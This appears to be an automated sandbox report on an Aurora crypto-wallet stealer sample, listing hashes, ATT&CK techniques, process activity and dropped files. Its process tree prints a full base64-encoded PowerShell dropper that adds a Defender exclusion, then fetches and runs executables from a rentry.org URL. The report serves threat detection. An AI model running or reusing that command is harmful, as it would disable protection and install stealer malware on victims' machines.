aurora | 34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f

Resubmissions

22/01/2025, 13:47

250122-q32g8sypgs 10

22/01/2025, 13:44

250122-q192layngz 10

22/01/2025, 13:13

250122-qf259axpht 10

17/01/2025, 17:31

250117-v3wn7sylcm 10

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17/01/2025, 17:31

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General

Target

Aurora.exe
Size

25.5MB
MD5

ee0a49caa656fe8693ffec78e69e864d
SHA1

dca409540b8c19a31e0748a17425835358a90e1b
SHA256

34e038a53f367feda9eb1ffbf71ca6af8ac9ace7a34d86c43e1f197c8988057f
SHA512

897be9ce27bec144b34cdfc4ef94cd95c2cb58a50e4679f9c3a2fa2df42c0a9dea80b4fcb7fb4fd037278cab427abaaae553e1939bff83868e15fffd3fdf3aa1
SSDEEP

98304:SlQKxQh+98myGsy1slENtrE7pQ8kq34vEStCAsDrP7J8yStyBCWLRV7VtC4bksxz:OQPY9mgGvkHEAsdtLRVRXgFqKQbEZxRO

Score

10^/10

aurora defense_evasion discovery stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/xau9i/raw

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora
Aurora family
aurora

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2216	powershell.exe
6	2216	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
824	LX.exe

Loads dropped DLL 1 IoCs

pid	Process
2512	Aurora.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Aurora.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2216	powershell.exe
2216	powershell.exe
2216	powershell.exe
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 824	2512	Aurora.exe	31
PID 2512 wrote to memory of 824	2512	Aurora.exe	31
PID 2512 wrote to memory of 824	2512	Aurora.exe	31
PID 2512 wrote to memory of 824	2512	Aurora.exe	31
PID 824 wrote to memory of 2216	824	LX.exe	32
PID 824 wrote to memory of 2216	824	LX.exe	32
PID 824 wrote to memory of 2216	824	LX.exe	32
PID 2216 wrote to memory of 2736	2216	powershell.exe	34
PID 2216 wrote to memory of 2736	2216	powershell.exe	34
PID 2216 wrote to memory of 2736	2216	powershell.exe	34

C:\Users\Admin\AppData\Local\Temp\Aurora.exe
"C:\Users\Admin\AppData\Local\Temp\Aurora.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Users\Admin\AppData\Local\Temp\LX.exe
  "C:\Users\Admin\AppData\Local\Temp\LX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZgBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGMAZgBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHAAbQBtACMAPgA7ACIAOwA8ACMAcwBxAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBiAGcAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB0AGgAZwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBmAHgAYQAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeABhAHUAOQBpAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBqAHoAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAbgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdQBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBtAGIAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGgAaQBsACMAPgA="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#cfg#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#pmm#>;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e83df8d363f78d80b125ed7fa8c4ed7

SHA1
dc1b698f27ee34f051f4a7456f01a5898462537a

SHA256
3b97385dbda4f6137a316b40766358f0d481621a921d950c8f793f6f4fba24c1

SHA512
8ae9d93137143f5d0b18e54474d450e36e5f9c4d88c3a20e23cfc40eebf830e0d66a0fbd69ae765b8100c990c99a58eb71f7fe62a9812e1b7859a0f7b05ada1c

Download Submit
\Users\Admin\AppData\Local\Temp\LX.exe

Filesize
74KB

MD5
1ab3092297d1806397e8d3a6747a3271

SHA1
ea114a2e5ddee915d30458031ec5ced7f97d1650

SHA256
2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

SHA512
1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

Download Submit
memory/824-7-0x0000000000970000-0x0000000000988000-memory.dmp

Filesize
96KB

Download
memory/824-8-0x000007FEF5873000-0x000007FEF5874000-memory.dmp

Filesize
4KB

Download
memory/2216-14-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2216-13-0x000000001B880000-0x000000001BB62000-memory.dmp

Filesize
2.9MB

Download
memory/2512-4-0x0000000000400000-0x0000000001D8A000-memory.dmp

Filesize
25.5MB

Download